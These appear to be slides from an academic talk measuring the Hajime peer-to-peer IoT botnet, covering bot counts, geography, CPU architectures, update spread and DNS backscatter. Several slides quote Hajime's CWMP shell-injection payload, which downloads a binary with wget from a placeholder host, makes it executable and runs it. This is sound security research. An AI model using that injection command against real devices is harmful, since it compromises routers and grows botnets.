SLIDE 1 Measurement and Analysis of Hajime:
a Peer-to-peer IoT Botnet
University of Maryland Stephen Herwig Katura Harvey George Hughey Richard Roberts Dave Levin The Max Planck Institute for Software Systems
+
SLIDE 2
Rise of IoT Botnets
Hajime
Resilient C&C Targets many CPU arches Scanning behavior arch-specific Continuously deploys new exploits
SLIDE 3
Talk Overview
Describe Hajime P2P network Our measurement infrastructure Analyze Heterogeneous botnet composition Impact of three exploit deployments Discuss Challenges of new, resilient botnets
SLIDE 4
BitTorrent’s P2P Network
Uses a DHT to track who is downloading what
SLIDE 5 BitTorrent’s P2P Network
Uses a DHT to track who is downloading what
Hosting
file named F
announce hash(F)
SLIDE 6 BitTorrent’s P2P Network
Uses a DHT to track who is downloading what
Hosting hash(F)
Hosting
file named F
announce hash(F)
SLIDE 7 BitTorrent’s P2P Network
Uses a DHT to track who is downloading what
Hosting hash(F)
Wants to
download F Hosting
file named F
announce hash(F) lookup hash(F)
Provides random subsets of current uploaders
SLIDE 8 BitTorrent’s P2P Network
Uses a DHT to track who is downloading what
Hosting hash(F)
Wants to
download F Hosting
file named F
announce hash(F) lookup hash(F)
Provides random subsets of current uploaders
SLIDE 9 Hajime’s P2P Network
① Uses BitTorrent’s DHT to find other bots
Downloading Hosting
lookup hash(F)
Hosting hash(F)
Random
subset
announce hash(F)
SLIDE 10 Hajime’s P2P Network
① Uses BitTorrent’s DHT to find other bots
announce hash(F)
Date File type Architecture
MIPS little endian MIPS big endian ARM v5 ARM v6 ARM v7 Once per day .i – “infect” .atk – “attack”
Every day,
bots are announcing their actions and their devices’
architectures
Hajime’s design is primed for measurement!
SLIDE 11 Hajime’s P2P Network
② Fetch files directly from one another
Downloading Hosting
lookup hash(F)
Hosting hash(F)
announce hash(F)
SLIDE 12 Hajime’s P2P Network
② Fetch files directly from one another
Downloading Hosting
Keys provide long-lived identifiers
Request File
Key exchange
SLIDE 13
Hajime’s P2P Network
② Fetch files directly from one another Difficult to take down Hajime
(without also taking down BitTorrent) ① Uses BitTorrent’s DHT to find other bots Difficult to centrally monitor Hajime is a resilient next step in IoT botnets
SLIDE 14 Measuring Hajime’s P2P network
① Exhaustively list all peers
lookup hash(F)
Hosting hash(F)
Random
subset
SLIDE 15 Measuring Hajime’s P2P network
① Exhaustively list all peers
lookup hash(F)
Hosting hash(F)
SLIDE 16 Measuring Hajime’s P2P network
① Exhaustively list all peers
lookup hash(F)
Hosting hash(F)
SLIDE 17
Measuring Hajime’s P2P network
① Exhaustively list all peers Every 16 minutes for 4 months
5,404,045 total IP addresses found
i/mipseb/today atk/arm7/today i/mipsel/tomorrow atk/arm5/yesterday
SLIDE 18
Measuring Hajime’s P2P network
② Obtain each Hajime bot’s public key 10,536,174 total keys found
Key exchange
SLIDE 19 Measuring Hajime’s P2P network
② Obtain each Hajime bot’s public key 10,536,174 total keys found
Key exchange
20K 40K 60K 80K 100K 120K 20K 40K 60K 80K 100K Keys IPs Iran Mexico China India South Korea United States Turkey Russia Indonesia
NATs undercount bots based on IPs
SLIDE 20 100K 200K 300K 400K 500K 600K 700K 800K 900K 100K 200K 300K 400K 500K 600K 700K 800K 900K Keys IPs Iran Mexico China India South Korea United States Turkey Russia Indonesia Brazil
Measuring Hajime’s P2P network
② Obtain each Hajime bot’s public key 10,536,174 total keys found
Key exchange
IP reassignment overcounts bots based on IPs
SLIDE 21
Datasets
5,404,045
unique IP addresses DHT scans 10,536,174
unique keys Key scans 47 modules
34 .atk, 13 .i Reverse eng
Jan 25, 2018 – Jun 1, 2018
All available at iot.cs.umd.edu
SLIDE 22
Analysis Questions
How large is the botnet? Where are bots located? What devices makeup the botnet? How do exploits change the botnet? How quickly does Hajime update itself? How does Hajime deploy new exploits? Dynamics Characteristics
SLIDE 23 How big is Hajime?
0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) atk.mipseb update .i.mipseb update
SLIDE 24 How big is Hajime?
0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) atk.mipseb update .i.mipseb update
Steady-state of ~40K bots Peaks of 95K after Chimay-Red and GPON exploits
SLIDE 25 0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) Others Brazil Iran Mexico China India
US Turkey Russia Indonesia atk.mipseb update .i.mipseb update
Where are bots located?
SLIDE 26 Where are bots located?
0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) Others Brazil Iran Mexico China India
US Turkey Russia Indonesia atk.mipseb update .i.mipseb update
SLIDE 27 Where are bots located?
0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) Others Brazil Iran Mexico China India
US Turkey Russia Indonesia atk.mipseb update .i.mipseb update
The geographic makeup of IoT botnets can change rapidly
Chimay-Red
Russia expanded
500 → 6,000 hourly
SLIDE 28 Where are bots located?
0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) Others Brazil Iran Mexico China India
US Turkey Russia Indonesia atk.mipseb update .i.mipseb update
The geographic makeup of IoT botnets can change rapidly
Chimay-Red
Russia expanded
500 → 6,000 hourly
GPON
Mostly affected
Mexico
SLIDE 29 0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) atk.mipseb update .i.mipseb update mipseb mipsel arm7 arm6 arm5
What CPU architectures are most infected?
SLIDE 30 0K 10K 20K 30K 40K 50K 60K 70K 80K 90K 100K 01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01 Number of distinct bots Time (20-minute bins) atk.mipseb update .i.mipseb update mipseb mipsel arm7 arm6 arm5
What CPU architectures are most infected?
Devices overwhelmingly run MIPS 74.2% of bot devices are MIPS big-endian (mipseb)
SLIDE 31 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Brazil China Iran India Korea US Turkey Russia Mexico
How does CPU architecture vary by country?
arm5 arm6 arm7 mipsel mipseb unknown
SLIDE 32 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Brazil China Iran India Korea US Turkey Russia Mexico
How does CPU architecture vary by country?
arm5 arm6 arm7 mipsel mipseb unknown
IoT botnets are highly heterogeneous across the world
After the introduction of the GPON vulnerability
SLIDE 33 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Brazil China Iran India Korea US Turkey Russia Mexico
arm5 arm6 arm7 mipsel mipseb unknown
How does CPU architecture vary by country?
After the introduction of the GPON vulnerability
New vulnerabilities can lead to drastic changes in geography
SLIDE 34 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Mexico
arm5 arm6 arm7 mipsel mipseb unknown
How does CPU architecture vary by country?
After the introduction of the GPON vulnerability
New vulnerabilities can lead to drastic changes in geography
SLIDE 35 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Mexico
arm5 arm6 arm7 mipsel mipseb unknown
How does CPU architecture vary by country?
Mexico before GPON after GPON
Mexico changed from primarily ARM to primarily MIPS New vulnerabilities can lead to drastic changes in geography
SLIDE 36 0K 100K 200K 300K 400K 500K 600K Number of distinct bots 4M 5M 4M 5M
Mexico
arm5 arm6 arm7 mipsel mipseb unknown
How does CPU architecture vary by country?
Mexico before GPON after GPON
Mexico changed from primarily ARM to primarily MIPS New vulnerabilities can lead to drastic changes in geography and composition
SLIDE 37
What devices are infected?
DHT scans Censys
SLIDE 38 What devices are infected?
DHT scans Censys No device information on over 80%
Of those identifiable: 0.8% MikroTik day before Chimay-Red 80.3% day after
SLIDE 39 How quickly does Hajime disseminate module updates?
% of mipseb bots hosting or looking up each file version
20 40 60 80 100 03-15 03-29 04-12 04-26 05-10 05-24 % of bots per .i version Time (20-minute bins) 20 40 60 80 100 % of bots per atk version
SLIDE 40 How quickly does Hajime disseminate module updates?
% of mipseb bots hosting or looking up each file version
20 40 60 80 100 03-15 03-29 04-12 04-26 05-10 05-24 % of bots per .i version Time (20-minute bins) 20 40 60 80 100 % of bots per atk version
Quick
SLIDE 41 How quickly does Hajime disseminate module updates?
20 40 60 80 100 03-15 03-29 04-12 04-26 05-10 05-24 % of bots per .i version Time (20-minute bins) 20 40 60 80 100 % of bots per atk version
% of mipseb bots hosting or looking up each file version
Quick Inconsistent
A new . i clears old atks.
SLIDE 42
Hajime’s CWMP exploit
<NewNTPServer1>SHELL_INJECTION</NewNTPServer1>
cd /tmp;wget http://1.2.3.4:5678/3;
chmod 777 3;./3
SLIDE 43
Attacking a non-vulnerable host
<NewNTPServer1>SHELL_INJECTION</NewNTPServer1>
“This is a domain name”
SLIDE 44 Attacking a non-vulnerable host
<NewNTPServer1>SHELL_INJECTION</NewNTPServer1>
Local DNS
Resolver
cd /tmp;wget http://1.2.3.4:5678/3;
chmod 777 3;./3
“What’s this TLD?”
SLIDE 45 Attacking a non-vulnerable host
<NewNTPServer1>SHELL_INJECTION</NewNTPServer1>
Local DNS
Resolver
cd /tmp;wget http://1.2.3.4:5678/3;
chmod 777 3;./3
D-root
NXDOMAIN NXDOMAIN
“What’s this TLD?”
SLIDE 46 What we learn from D-root
Local DNS
Resolver
D-root
✔ ✔
DNS Backscatter A sample of attack attempts worldwide
But only to non-vulnerable hosts
SLIDE 47 DNS Backscatter: Mirai vs. Hajime
10K 20K 30K 40K 50K 60K 11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18 TR-064 injection attempts Time (20-minute bins)
SLIDE 48 DNS Backscatter: Mirai vs. Hajime
10K 20K 30K 40K 50K 60K 11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18 TR-064 injection attempts Time (20-minute bins) Mirai
SLIDE 49 10K 20K 30K 40K 50K 60K 11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18 TR-064 injection attempts Time (20-minute bins) Hajime Mirai config update .i.mipseb update atk.mipseb update .i.mipsel update atk.mipsel update
DNS Backscatter: Mirai vs. Hajime
SLIDE 50 Where is Hajime from?
Initial (test?) CWMP attack
came from the Netherlands
47 modules
34 .atk, 13 .i Reverse eng
Hajime blacklists the same IP address as Mirai, plus:
77.247.0.0/16 85.159.0.0/16 109.201.0.0/16 These have one ISP in common:
NFOrce Entertainment (located in the Netherlands)
10K 20K 30K 40K 50K 60K 11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18 TR-064 injection attempts Time (20-minute bins) Hajime Mirai config update .i.mipseb update atk.mipseb update .i.mipsel update atk.mipsel update
SLIDE 51 Also covered in the paper
- Details on bot internals and exploits
- Analysis of bot churn
- Details on device fingerprinting
- Country-level analysis of CWMP DNS backscatter
SLIDE 52
Measuring and analyzing Hajime
DHT scans D-root
IoT botnets have highly heterogeneous architectures
Code and data coming soon: iot.cs.umd.edu
Key scans
New vulnerabilities can lead to
drastic changes in size, geography, and composition IoT botnets are
resilient and large
40K steady 95K peak